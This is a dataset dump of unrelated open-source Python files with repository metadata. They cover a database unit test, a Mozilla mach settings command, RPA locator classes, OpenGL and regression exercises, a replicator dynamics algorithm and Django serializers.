entries]","repo_name":"tdy/irwin","sub_path":"modules/irwin/writeCSV.py","file_name":"writeCSV.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"}
+{"seq_id":"691381999","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom utils.pprint_helper import pprint_color\nfrom db.database import scoped_session, Session\nfrom db.models import FacebookArchive\nimport arrow\nimport unittest\n\n\nclass TestFacebookArchive(unittest.TestCase):\n\n    def setUp(self):\n        self.data = {\n            'published': arrow.get(\"2017-01-23 12:34:56+08:00\").datetime,\n            'fbid': \"1234567890\",\n            'from_id': \"from_id test\",\n            'from_name': \"from_name test\",\n            'message': \"message test\",\n            'link': \"https://foo.bar.baz\",\n            'hash': \"hash test\",\n            'source': \"abc\"\n        }\n\n    def test_crud(self):\n\n        # Create archive.\n        with scoped_session() as session:\n            archive = FacebookArchive(**self.data)\n            session.add(archive)\n\n        # Read archive.\n        with scoped_session() as session:\n            archive = session.merge(archive)\n            self.assertEqual(archive.from_id, self.data['from_id'])\n            self.assertEqual(archive.from_name, self.data['from_name'])\n            self.assertEqual(archive.message, self.data['message'])\n            self.assertEqual(archive.link, self.data['link'])\n            self.assertEqual(archive.hash, self.data['hash'])\n            self.assertEqual(archive.source, self.data['source'])\n        # Update archive.\n        with scoped_session() as session:\n            archive = session.merge(archive)\n            archive.message = \"new message\"\n\n        with scoped_session() as session:\n            archive = session.merge(archive)\n            archive_id = archive.id\n            self.assertEqual(archive.message, \"new message\")\n\n        # Delete archive\n        with scoped_session() as session:\n            archive = session.merge(archive)\n            session.delete(archive)\n\n        with scoped_session() as session:\n            archive = session.query(FacebookArchive).filter_by(id=archive_id).all()\n            self.assertEqual(archive, [])\n\n    def tearDown(self):\n        pass\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"ilyalee/newstw","sub_path":"db/models/tests/test_facebook_archives.py","file_name":"test_facebook_archives.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"20822427390","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport os\nfrom textwrap import TextWrapper\n\nfrom mach.decorators import (\n    CommandArgument,\n    CommandProvider,\n    Command,\n    SubCommand,\n)\n\nPOLIB_NOT_FOUND = \"\"\"\nCould not detect the 'polib' package on the local system.\nPlease run:\n\n    pip install polib\n\"\"\".lstrip()\n\n\n@CommandProvider\nclass Settings(object):\n    \"\"\"Interact with settings for mach.\n\n    Currently, we only provide functionality to view what settings are\n    available. In the future, this module will be used to modify settings, help\n    people create configs via a wizard, etc.\n    \"\"\"\n    def __init__(self, context):\n        self._settings = context.settings\n\n    @Command('settings', category='devenv',\n             description='Show available config settings.')\n    @CommandArgument('-l', '--list', dest='short', action='store_true',\n                     help='Show settings in a concise list')\n    def settings(self, short=None):\n        \"\"\"List available settings.\"\"\"\n        if short:\n            for section in sorted(self._settings):\n                for option in sorted(self._settings[section]._settings):\n                    short, full = self._settings.option_help(section, option)\n                    print('%s.%s -- %s' % (section, option, short))\n            return\n\n        wrapper = TextWrapper(initial_indent='# ', subsequent_indent='# ')\n        for section in sorted(self._settings):\n            print('[%s]' % section)\n\n            for option in sorted(self._settings[section]._settings):\n                short, full = self._settings.option_help(section, option)\n                print(wrapper.fill(full))\n\n                if option != '*':\n                    print(';%s =' % option)\n                    print('')\n\n    @SubCommand('settings', 'locale-gen',\n                description='Generate or update gettext .po and .mo locale files.')\n    @CommandArgument('sections', nargs='*',\n                     help='A list of strings in the form of either <section> or '\n                          '<section>.<option> to translate. By default, prompt to '\n                          'translate all applicable options.')\n    @CommandArgument('--locale', default='en_US',\n                     help='Locale to generate, defaults to en_US.')\n    @CommandArgument('--overwrite', action='store_true', default=False,\n                     help='Overwrite pre-existing entries in .po files.')\n    def locale_gen(self, sections, **kwargs):\n        try:\n            import polib\n        except ImportError:\n            print(POLIB_NOT_FOUND)\n            return 1\n\n        self.was_prompted = False\n\n        sections = sections or self._settings\n        for section in sections:\n            self._gen_section(section, **kwargs)\n\n        if not self.was_prompted:\n            print(\"All specified options already have an {} translation. \"\n                  \"To overwrite existing translations, pass --overwrite.\"\n                  .format(kwargs['locale']))\n\n    def _gen_section(self, section, **kwargs):\n        if '.' in section:\n            section, option = section.split('.')\n            return self._gen_option(section, option, **kwargs)\n\n        for option in sorted(self._settings[section]._settings):\n            self._gen_option(section, option, **kwargs)\n\n    def _gen_option(self, section, option, locale, overwrite):\n        import polib\n\n        meta = self._settings[section]._settings[option]\n\n        localedir = os.path.join(meta['localedir'], locale, 'LC_MESSAGES')\n        if not os.path.isdir(localedir):\n            os.makedirs(localedir)\n\n        path = os.path.join(localedir, '{}.po'.format(section))\n        if os.path.isfile(path):\n            po = polib.pofile(path)\n        else:\n            po = polib.POFile()\n\n        optionid = '{}.{}'.format(section, option)\n        for name in ('short', 'full'):\n            msgid = '{}.{}'.format(optionid, name)\n            entry = po.find(msgid)\n            if not entry:\n                entry = polib.POEntry(msgid=msgid)\n                po.append(entry)\n\n            if entry in po.translated_entries() and not overwrite:\n                continue\n\n            self.was_prompted = True\n\n            msgstr = raw_input(\"Translate {} to {}:\\n\"\n                               .format(msgid, locale))\n            entry.msgstr = msgstr\n\n        if self.was_prompted:\n            mopath = os.path.join(localedir, '{}.mo'.format(section))\n            po.save(path)\n            po.save_as_mofile(mopath)\n","repo_name":"mozilla/spidernode","sub_path":"deps/spidershim/spidermonkey/python/mach/mach/commands/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","stars":560,"dataset":"github-code","pt":"37"}
+{"seq_id":"24669961294","text":"from dataclasses import dataclass, asdict, fields, MISSING\nfrom typing import Optional\n\n\n@dataclass\nclass Locator:\n    \"\"\"Baseclass for a locator entry.\"\"\"\n\n    def __str__(self):\n        values = []\n        for field in fields(self):\n            if field.default is not MISSING:\n                break\n            values.append(getattr(self, field.name))\n\n        typename = NAMES[type(self)]\n        return \"{}:{}\".format(typename, \",\".join(str(value) for value in values))\n\n    @staticmethod\n    def from_dict(data):\n        \"\"\"Construct correct locator subclass from dictionary,\n        which should contain a 'type' field and at least all\n        required fields of that locator.\n        \"\"\"\n        type_ = data.pop(\"type\", None)\n        if not type_:\n            raise ValueError(\"Missing locator type field\")\n\n        class_ = TYPES.get(type_)\n        if not class_:\n            raise ValueError(f\"Unknown locator type: {type_}\")\n\n        # Check for missing parameters\n        required = set(\n            field.name for field in fields(class_) if field.default is MISSING\n        )\n        missing = set(required) - set(data)\n        if missing:\n            raise ValueError(\"Missing locator field(s): {}\".format(\", \".join(missing)))\n\n        # Ignore extra data\n        required_or_optional = [field.name for field in fields(class_)]\n        kwargs = {k: v for k, v in data.items() if k in required_or_optional}\n\n        return class_(**kwargs)\n\n    def to_dict(self):\n        \"\"\"Convert locator instance to a dictionary with type information.\"\"\"\n        data = {\"type\": NAMES[type(self)]}\n        data.update(asdict(self))\n        return data\n\n\n@dataclass\nclass PointLocator(Locator):\n    \"\"\"Locator for absolute coordinates.\"\"\"\n\n    x: int\n    y: int\n\n    def __post_init__(self):\n        self.x = int(self.x)\n        self.y = int(self.y)\n\n\n@dataclass\nclass OffsetLocator(Locator):\n    \"\"\"Locator for offset coordinates.\"\"\"\n\n    x: int\n    y: int\n\n    def __post_init__(self):\n        self.x = int(self.x)\n        self.y = int(self.y)\n\n\n@dataclass\nclass RegionLocator(Locator):\n    \"\"\"Locator for area defined by coordinates.\"\"\"\n\n    left: int\n    top: int\n    right: int\n    bottom: int\n\n    def __post_init__(self):\n        self.left = int(self.left)\n        self.top = int(self.top)\n        self.right = int(self.right)\n        self.bottom = int(self.bottom)\n\n\n@dataclass\nclass SizeLocator(Locator):\n    \"\"\"Locator for area defined by width/height.\"\"\"\n\n    width: int\n    height: int\n\n    def __post_init__(self):\n        self.width = int(self.width)\n        self.height = int(self.height)\n\n\n@dataclass\nclass ImageLocator(Locator):\n    \"\"\"Image-based locator for template matching.\"\"\"\n\n    path: str\n    confidence: Optional[float] = None\n    source: Optional[str] = None  # TODO: Remove when crop is implemented\n\n    def __post_init__(self):\n        if self.confidence is not None:\n            self.confidence = float(self.confidence)\n\n\n@dataclass\nclass OcrLocator(Locator):\n    \"\"\"Locator for OCR-based text.\"\"\"\n\n    text: str\n    confidence: Optional[float] = None\n    \"\"\"3-character ISO 639-2 language code. Passed to pytesseract lang parameter.\"\"\"\n    language: Optional[str] = None\n\n    def __post_init__(self):\n        self.text = str(self.text)\n        if self.confidence is not None:\n            self.confidence = float(self.confidence)\n\n\n@dataclass\nclass BrowserLocator(Locator):\n    \"\"\"Browser-based locator for DOM elements.\"\"\"\n\n    strategy: str\n    value: str\n    source: Optional[str] = None\n    screenshot: Optional[str] = None\n\n\n@dataclass\nclass WindowsLocator(Locator):\n    \"\"\"Windows-based locator for windows UI elements\"\"\"\n\n    window: str\n    value: str\n    version: float\n    screenshot: Optional[str] = None\n\n\n# Aliases for backwards compatibility, just in case.\nOffset = OffsetLocator\nBrowserDOM = BrowserLocator\nImageTemplate = ImageLocator\nCoordinates = PointLocator\n\n# Mapping of supported locator typenames to classes.\n# Used for parsing locator literals.\nTYPES = {\n    \"point\": PointLocator,\n    \"offset\": OffsetLocator,\n    \"region\": RegionLocator,\n    \"size\": SizeLocator,\n    \"image\": ImageLocator,\n    \"ocr\": OcrLocator,\n    \"browser\": BrowserLocator,\n    \"coordinates\": PointLocator,  # Backwards compatibility\n    \"windows\": WindowsLocator,\n}\n\n# Above mapping but in reverse direction.\nNAMES = {\n    PointLocator: \"point\",\n    OffsetLocator: \"offset\",\n    RegionLocator: \"region\",\n    SizeLocator: \"size\",\n    ImageLocator: \"image\",\n    OcrLocator: \"ocr\",\n    BrowserLocator: \"browser\",\n    PointLocator: \"point\",  # Backwards compatibility\n    WindowsLocator: \"windows\",\n}\n","repo_name":"robocorp/rpaframework","sub_path":"packages/core/src/RPA/core/locators/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":908,"dataset":"github-code","pt":"37"}
+{"seq_id":"30371478258","text":"import datetime\r\nimport calendar\r\nimport math\r\n\r\n#1 calculatedelete remaining debt\r\n# credit_balance = 10000\r\n# interest_rate = 13 * 0.01\r\n# payment = 1000\r\n#\r\n# my_date = datetime.datetime.today()\r\n# month_range = calendar.monthrange(my_date.year,my_date.month)[1]   #returns a tuple of day of the week that the first day of month falls on and total number of days in that month\r\n#\r\n# days_until_month_end = month_range - my_date.day\r\n# start_date = my_date + datetime.timedelta(days=days_until_month_end+1)\r\n#\r\n# end_date = start_date\r\n# while credit_balance > 0:\r\n#     interest_charge = (interest_rate/12) * credit_balance\r\n#     credit_balance += interest_charge\r\n#     credit_balance -= payment\r\n#\r\n#     credit_balance = round(credit_balance,2)  #can use None instead of 2\r\n#     if credit_balance < 0:\r\n#         credit_balance = 0\r\n#     print(end_date,f'{(end_date - my_date).days} days',credit_balance,sep='--')\r\n#     month_range = calendar.monthrange(end_date.year, end_date.month)[1]\r\n#     end_date += datetime.timedelta(days=month_range)\r\n\r\n#2 calculatedelete target weight\r\n# weight = 80\r\n# target_weight = 90\r\n# weekly_gain = 0.3\r\n#\r\n# start_date = datetime.date.today()\r\n#\r\n# end_date = start_date\r\n# while weight < target_weight:\r\n#     weight += weekly_gain\r\n#     end_date += datetime.timedelta(days=7)\r\n#     print(f'reached goal in {(end_date - start_date).days//7} weeks',weight)\r\n# print(end_date)\r\n\r\n#3 method 1 hit target subscribers\r\ncurrent_subs = 8700\r\ntarget_subs = 10000\r\navg_daily_sub = 11\r\n\r\nstart_date = datetime.date.today()\r\n\r\nend_date = start_date\r\nwhile current_subs < target_subs:\r\n    end_date += datetime.timedelta(days=1)\r\n    current_subs += avg_daily_sub\r\n    print((end_date-start_date).days,current_subs)\r\n\r\n# #method 2\r\n# current_subs = 8700\r\n# target_subs = 10000\r\n# avg_daily_sub = 11\r\n# sub_to_go = target_subs - current_subs\r\n# days_to_go = math.ceil(sub_to_go / avg_daily_sub)\r\n# start_date = datetime.date.today()\r\n# print(start_date + datetime.timedelta(days=days_to_go))\r\n\r\n","repo_name":"pouya-alipour741/Courses","sub_path":"Python/python tutorial advanced/Calculate Number of Days, Weeks, or Months to Reach Specific Goals.py","file_name":"Calculate Number of Days, Weeks, or Months to Reach Specific Goals.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40761326030","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nx= [1, 2, 4, 3, 5]\ny= [1, 3, 3, 2, 5]\n\ndef GD(mCurrent,bCurrent,learningRates):\n    error = 0\n    for i,z in zip(x,y):\n        yhat = mCurrent*i +bCurrent\n        error += (yhat- z)**2\n        mCurrent += (error*i)*learningRates\n        bCurrent += (error)*learningRates\n    return mCurrent,bCurrent\n\nGD(0.8,0.4,0.005)\n\n\ndef newLR(x,y,learningRates):\n    #calculate coefficients m and b\n    n = 0\n    d = 0\n    xbar = sum(x)/len(x)\n    ybar = sum(y)/len(x)\n    for i,z in zip(x,y):\n        n += (i-xbar)*(z-ybar)\n        d += (i-xbar)**2\n        m = n/d\n        b = ybar -m*xbar\n        b = round(b,2)\n    #predict the new Y values\n        yhat = m*i +b\n    #calculate the r_squared before GD    \n        squareYhat = np.square(z-yhat)\n        squareYbar = np.square(z-ybar)\n        rSquared = 1-(squareYhat/squareYbar)\n    #using GD to optimize coef(s)\n        mCurrent = GD(m,b,learningRates)[0]\n        bCurrent = GD(m,b,learningRates)[1]\n    #predcit new Y values with optimized coef(s)\n        newYhat = mCurrent*i+bCurrent\n    #calculate the r_squared after GD    \n        gdYhat = np.square(z-newYhat)\n        gdYbar = np.square(z-ybar)\n        gdSquared = 1-(gdYhat/gdYbar)\n    return rSquared, gdSquared\n\nnewLR(x,y,0.005)","repo_name":"author31/LinearRegressionGradientDescent","sub_path":"Linear Regression with Gradient descent.py","file_name":"Linear Regression with Gradient descent.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27574399957","text":"from OpenGL.GL import *\nfrom OpenGL.GLU import *\nfrom OpenGL.GLUT import *\nimport math\n\n# Janela\naltura = 400\nlargura = 800\n\n# Mouse\nx_velho = 0\ny_velho = 0\nx_novo = 0\ny_novo = 0\n\n# Camera\ncamera_x = 0\ncamera_y = 80\ncamera_z = 200\nrot_camera = False\nangulo = 0\nfAspect = largura/altura\n\nvisao_x = 0\nvisao_y = 0\nvisao_z = 0\n\n# Funções\n\n\n# Inicializa opengl\ndef inicializar():\n    glClearColor(0.0, 0.0, 0.0, 0.0)\n    glShadeModel(GL_SMOOTH)\n\n    glEnable(GL_LIGHT0)  # habilita luz 0\n    glEnable(GL_COLOR_MATERIAL)  # Utiliza cor do objeto como material\n    glColorMaterial(GL_FRONT, GL_DIFFUSE)\n\n    glEnable(GL_LIGHTING)  # Habilita luz\n    glEnable(GL_DEPTH_TEST)  # Habilita Z - buffer\n    glEnable(GL_CULL_FACE)  # Habilita Backface - Culling\n\n\ndef idle():\n    glutPostRedisplay()\n\n\n# Eixos coordenados\ndef desenha_eixos():\n    glBegin(GL_LINES)\n    glColor3f(1.0, 0.0, 0.0)\n    glVertex3f(-10.0, 0.0, 0.0)\n    glVertex3f(10.0, 0.0, 0.0)\n    glColor3f(0.0,   1.0, 0.0)\n    glVertex3f(0.0, -10.0, 0.0)\n    glVertex3f(0.0,  10.0, 0.0)\n    glEnd()\n\n\ndef desenha_objetos():\n    glColor3f(0.0, 0.0, 1.0)\n\n    glutWireTeapot(35)\n    glTranslatef(0, -28, 0)\n\n\n#############################\n# Glut and image functions\ndef exibir():\n\n    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n    definir_visualizacao()\n\n    desenha_objetos()\n\n    glColor3f(1, 0, 1)\n    glLineWidth(3)\n    glBegin(GL_LINES)\n    for z in range(1000)[::10]:\n        glVertex3f(-1000, -0.1, z)\n        glVertex3f(1000, -0.1, z)\n\n    for x in range(1000)[::10]:\n        glVertex3f(x, -0.1, -1000)\n        glVertex3f(x, -0.1, 1000)\n\n    glEnd()\n    glLineWidth(1)\n\n    glutSwapBuffers()\n    glutPostRedisplay()\n\n\ndef reformatar(larg, alt):\n    largura = larg\n    altura = alt\n    glViewport(0, 0, larg, alt)\n\n\ndef definir_visualizacao():\n    global camera_x\n    global camera_y\n    global camera_z\n    global visao_x\n    global visao_y\n    global visao_z\n\n    glMatrixMode(GL_PROJECTION)\n\n    glLoadIdentity()\n\n    # Especifica a projeção perspectiva(angulo, aspecto, zMin, zMax)\n    gluPerspective(angulo, fAspect, 0.5, 500)\n\n    # posicionaObservador()\n    glMatrixMode(GL_MODELVIEW)\n    glLoadIdentity()\n    gluLookAt(camera_x, camera_y, camera_z,\n              visao_x, visao_y, visao_z, 0, 1, 0)\n\n\ndef teclado_pressionar(tecla, x, y):\n\n    if tecla == b'\\x1b':\n        exit(0)\n    else:\n        print(tecla)\n\n    glutPostRedisplay()\n\n\ndef teclado_soltar(tecla, x, y):\n\n    if tecla == b'\\x1b':\n        exit(0)\n    else:\n        print(tecla)\n\n    glutPostRedisplay()\n\n\ndef teclas_especiais_press(tecla, x, y):\n    global rot_camera\n\n    if tecla == 112:\n        rot_camera = True\n    else:\n        print(tecla)\n\n    glutPostRedisplay()\n\n\ndef teclas_especiais_soltar(tecla, x, y):\n    global rot_camera\n\n    if tecla == 112:\n        rot_camera = False\n    else:\n        print(tecla)\n\n    glutPostRedisplay()\n\n\ndef mouse(botao, estado, x, y):\n    global x_velho\n    global y_velho\n    global x_novo\n    global y_novo\n    global rot_camera\n\n    angulo = 0\n\n    if botao == GLUT_LEFT_BUTTON:\n        if estado == GLUT_DOWN:\n            print(\"mouse x:\", x, \"\\nmouse y:\", y)\n            x_velho = x\n            y_velho = y\n        elif estado == GLUT_UP:\n            if not rot_camera:\n                print(\"mova\")\n            else:\n                print(\"rotacione\")\n\n            # print(\"mouse x:\", x, \"\\nmouse y:\", y)\n            # print(\"dif x:\", (x - x_velho), \"\\ndif y:\", (y - y_velho))\n\n    else:\n        print(botao)\n        print(estado)\n\n    # get mouse coordinates from Windows\n    # mouseX = LOWORD(lParam)\n\n\n    # these lines limit the camera's range\n\n    if (x - x_velho) > 0:  # mouse moved to the right\n        angulo += 3.0\n    elif (x - x_velho) < 0:  # mouse moved to the left\n        angulo -= 3.0\n\n\nglutInit()\nglutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH)\nglutInitWindowSize(int(largura), int(altura))\nglutInitWindowPosition(20, 20)\nglutCreateWindow(\"Viewport Test\")\ninicializar()\nglutDisplayFunc(exibir)\nglutReshapeFunc(reformatar)\nglutMouseFunc(mouse)\nglutKeyboardFunc(teclado_pressionar)\nglutSpecialFunc(teclas_especiais_press)\nglutSpecialUpFunc(teclas_especiais_soltar)\nglutIdleFunc(idle)\nglutMainLoop()\n","repo_name":"vitgusmao/OpenGL_Python","sub_path":"exercícios/viewport.py","file_name":"viewport.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13583909088","text":"import fileinput\n\nlines = [line.strip() for line in fileinput.input()]\n\nrows = len(lines)\ncols = len(lines[0])\n\nr = 0\nc = 0\npart1 = 0\nwhile r < rows:\n    if lines[r][c % cols] == '#':\n        part1 += 1\n    r += 1\n    c += 3\n    \nprint(part1)\n    \nslopes = [(1, 1), (1, 3), (1, 5), (1, 7), (2, 1)]\npart2 = 1\nfor dr, dc in slopes:\n    r = c = trees = 0\n    while r < rows:\n        if lines[r][c % cols] == '#':\n            trees += 1\n        r += dr\n        c += dc\n    part2 *= trees \n\nprint(part2)","repo_name":"dogatekin/aoc-2020","sub_path":"03/03.py","file_name":"03.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72379740907","text":"import numpy as np\n\nfrom open_spiel.python.algorithms import nfg_utils\n\n\ndef _partial_multi_dot(player_payoff_tensor, strategies, index_avoided):\n  \"\"\"Computes a generalized dot product avoiding one dimension.\n\n  This is used to directly get the expected return of a given action, given\n  other players' strategies, for the player indexed by index_avoided.\n  Note that the numpy.dot function is used to compute this product, as it ended\n  up being (Slightly) faster in performance tests than np.tensordot. Using the\n  reduce function proved slower for both np.dot and np.tensordot.\n\n  Args:\n    player_payoff_tensor: payoff tensor for player[index_avoided], of dimension\n      (dim(vector[0]), dim(vector[1]), ..., dim(vector[-1])).\n    strategies: Meta strategy probabilities for each player.\n    index_avoided: Player for which we do not compute the dot product.\n\n  Returns:\n    Vector of expected returns for each action of player [the player indexed by\n      index_avoided].\n  \"\"\"\n  new_axis_order = [index_avoided] + [\n      i for i in range(len(strategies)) if (i != index_avoided)\n  ]\n  accumulator = np.transpose(player_payoff_tensor, new_axis_order)\n  for i in range(len(strategies) - 1, -1, -1):\n    if i != index_avoided:\n      accumulator = np.dot(accumulator, strategies[i])\n  return accumulator\n\n\ndef _project_distribution(updated_strategy, gamma):\n  \"\"\"Projects the distribution in updated_x to have minimal probabilities.\n\n  Minimal probabilities are set as gamma, and the probabilities are then\n  renormalized to sum to 1.\n\n  Args:\n    updated_strategy: New distribution value after being updated by update rule.\n    gamma: minimal probability value when divided by number of actions.\n\n  Returns:\n    Projected distribution.\n  \"\"\"\n  # Epsilon approximation of L2-norm projection onto the Delta_gamma space.\n  updated_strategy[updated_strategy < gamma] = gamma\n  updated_strategy = updated_strategy / np.sum(updated_strategy)\n  return updated_strategy\n\n\ndef _approx_simplex_projection(updated_strategy, gamma=0.0):\n  \"\"\"Approximately projects the distribution in updated_x to have minimal probabilities.\n\n  Minimal probabilities are set as gamma, and the probabilities are then\n  renormalized to sum to 1.\n\n  Args:\n    updated_strategy: New distribution value after being updated by update rule.\n    gamma: minimal probability value when divided by number of actions.\n\n  Returns:\n    Projected distribution.\n  \"\"\"\n  # Epsilon approximation of L2-norm projection onto the Delta_gamma space.\n  updated_strategy[updated_strategy < gamma] = gamma\n  updated_strategy = updated_strategy / np.sum(updated_strategy)\n  return updated_strategy\n\n\ndef _simplex_projection(updated_strategy, gamma=0.0):\n  \"\"\"Project updated_strategy on the closest point in L2-norm on gamma-simplex.\n\n  Based on: https://eng.ucmerced.edu/people/wwang5/papers/SimplexProj.pdf\n\n  Args:\n    updated_strategy: New distribution value after being updated by update rule.\n    gamma: minimal probability value when divided by number of actions.\n\n  Returns:\n    Projected distribution\n\n  Algorithm description:\n  It aims to find a scalar lam to be substracted by each dimension of v\n  with the restriction that the resulted quantity should lie in [gamma, 1]\n  until the resulted vector summed up to 1\n  Example: [0.4, 0.7, 0.6], 0.2 -- > find lam=0.25\n            --> [max(0.4-0.25, 0.2), max(0.7-0.25, 0.2), max(0.6-0.25, 0.2)]\n            --> [0.2,  0.45, 0.35]\n  \"\"\"\n\n  n = len(updated_strategy)\n  idx = np.arange(1, n + 1)\n  u = np.sort(updated_strategy)[::-1]\n  u_tmp = (1 - np.cumsum(u) - (n - idx) * gamma) / idx\n  rho = np.searchsorted(u + u_tmp <= gamma, True)\n  return np.maximum(updated_strategy + u_tmp[rho - 1], gamma)\n\n\ndef _projected_replicator_dynamics_step(payoff_tensors, strategies, dt, gamma,\n                                        use_approx=False):\n  \"\"\"Does one step of the projected replicator dynamics algorithm.\n\n  Args:\n    payoff_tensors: List of payoff tensors for each player.\n    strategies: List of the strategies used by each player.\n    dt: Update amplitude term.\n    gamma: Minimum exploratory probability term.\n    use_approx: use approximate simplex projection.\n\n  Returns:\n    A list of updated strategies for each player.\n  \"\"\"\n\n  # TODO(author4): Investigate whether this update could be fully vectorized.\n  new_strategies = []\n  for player in range(len(payoff_tensors)):\n    current_payoff_tensor = payoff_tensors[player]\n    current_strategy = strategies[player]\n\n    values_per_strategy = _partial_multi_dot(current_payoff_tensor, strategies,\n                                             player)\n    average_return = np.dot(values_per_strategy, current_strategy)\n    delta = current_strategy * (values_per_strategy - average_return)\n\n    updated_strategy = current_strategy + dt * delta\n    updated_strategy = (\n        _approx_simplex_projection(updated_strategy, gamma) if use_approx\n        else _simplex_projection(updated_strategy, gamma))\n    new_strategies.append(updated_strategy)\n  return new_strategies\n\n\ndef projected_replicator_dynamics(payoff_tensors,\n                                  prd_initial_strategies=None,\n                                  prd_iterations=int(1e5),\n                                  prd_dt=1e-3,\n                                  prd_gamma=1e-6,\n                                  average_over_last_n_strategies=None,\n                                  use_approx=False,\n                                  **unused_kwargs):\n  \"\"\"The Projected Replicator Dynamics algorithm.\n\n  Args:\n    payoff_tensors: List of payoff tensors for each player.\n    prd_initial_strategies: Initial list of the strategies used by each player,\n      if any. Could be used to speed up the search by providing a good initial\n      solution.\n    prd_iterations: Number of algorithmic steps to take before returning an\n      answer.\n    prd_dt: Update amplitude term.\n    prd_gamma: Minimum exploratory probability term.\n    average_over_last_n_strategies: Running average window size for average\n      policy computation. If None, use the whole trajectory.\n    use_approx: use the approximate simplex projection.\n    **unused_kwargs: Convenient way of exposing an API compatible with other\n      methods with possibly different arguments.\n\n  Returns:\n    PRD-computed strategies.\n  \"\"\"\n  number_players = len(payoff_tensors)\n  # Number of actions available to each player.\n  action_space_shapes = payoff_tensors[0].shape\n\n  # If no initial starting position is given, start with uniform probabilities.\n  new_strategies = prd_initial_strategies or [\n      np.ones(action_space_shapes[k]) / action_space_shapes[k]\n      for k in range(number_players)\n  ]\n\n  averager = nfg_utils.StrategyAverager(number_players, action_space_shapes,\n                                        average_over_last_n_strategies)\n  averager.append(new_strategies)\n\n  for _ in range(prd_iterations):\n    new_strategies = _projected_replicator_dynamics_step(\n        payoff_tensors, new_strategies, prd_dt, prd_gamma, use_approx)\n    averager.append(new_strategies)\n  return averager.average_strategies()\n","repo_name":"deepmind/open_spiel","sub_path":"open_spiel/python/algorithms/projected_replicator_dynamics.py","file_name":"projected_replicator_dynamics.py","file_ext":"py","file_size_in_byte":7108,"program_lang":"python","lang":"en","doc_type":"code","stars":3700,"dataset":"github-code","pt":"37"}
+{"seq_id":"30994527829","text":"from rest_framework import serializers\nfrom django.contrib.auth.models import User\n\n# User = get_user_model(settings.AUTH_USER_MODEL)\nfrom .models import Car, Driver\n\nclass UserSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = User\n\t\tfields = (\n\t\t\t'username', 'id', 'is_staff',\n\t\t\t'first_name', 'last_name', 'email'\n\t\t)\n\n\nclass CarSerializer(serializers.ModelSerializer):\n\tadded_by = UserSerializer(read_only=True)\n\n\tclass Meta:\n\t\tmodel = Car\n\t\tfields = '__all__'\n\n\tdef create(self, validated_data):\n\t\tinstance = Car(**validated_data)\n\t\tinstance.save()\n\t\treturn instance\n\n\nclass DriverSerializer(serializers.ModelSerializer):\n\tclass Meta:\n\t\tmodel = Driver\n\t\tfields = '__all__'\n","repo_name":"iliaeriomenco/cars","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17194222644","text":"from django.urls import path\n\nfrom .views import *\n\n\nurlpatterns = [\n    path('', person, name='home'),\n    path('add_person/', CreatePerson.as_view(), name='add_person'),\n    path('<int:id>/delete/', DeletePerson.as_view(), name='delete_person'),\n    path('edit_person/<int:id>', edit_person, name='edit_person')\n]\n","repo_name":"NehvedovichVlad/crud_django","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9967430140","text":"#\n\n\n\n# import xlsxwriter module\nimport xlsxwriter\n\n# Workbook() takes one, non-optional, argument\n# which is the filename that we want to create.\nworkbook = xlsxwriter.Workbook('hello.xlsx')\n\n# The workbook object is then used to add new\n# worksheet via the add_worksheet() method.\nworksheet = workbook.add_worksheet(name='details')\n# sheet2=workbook.add_worksheet(name='sheet2')\n# Use the worksheet object to write\n# data via the write() method.\nworksheet.write('A1', 'id')\nworksheet.write('B1', 'name')\nworksheet.write('C1', 'phone number')\nworksheet.write('D1', 'mail')\n\n# sheet2.write('d5',369)\n# Finally, close the Excel file\n# via the close() method.\nworkbook.close()","repo_name":"SACHINKV14/MCS_00_Sachin_Core_Python","sub_path":"practice 04 Dec/harsha_tasks/_27_dec_/_excel_file1.py","file_name":"_excel_file1.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
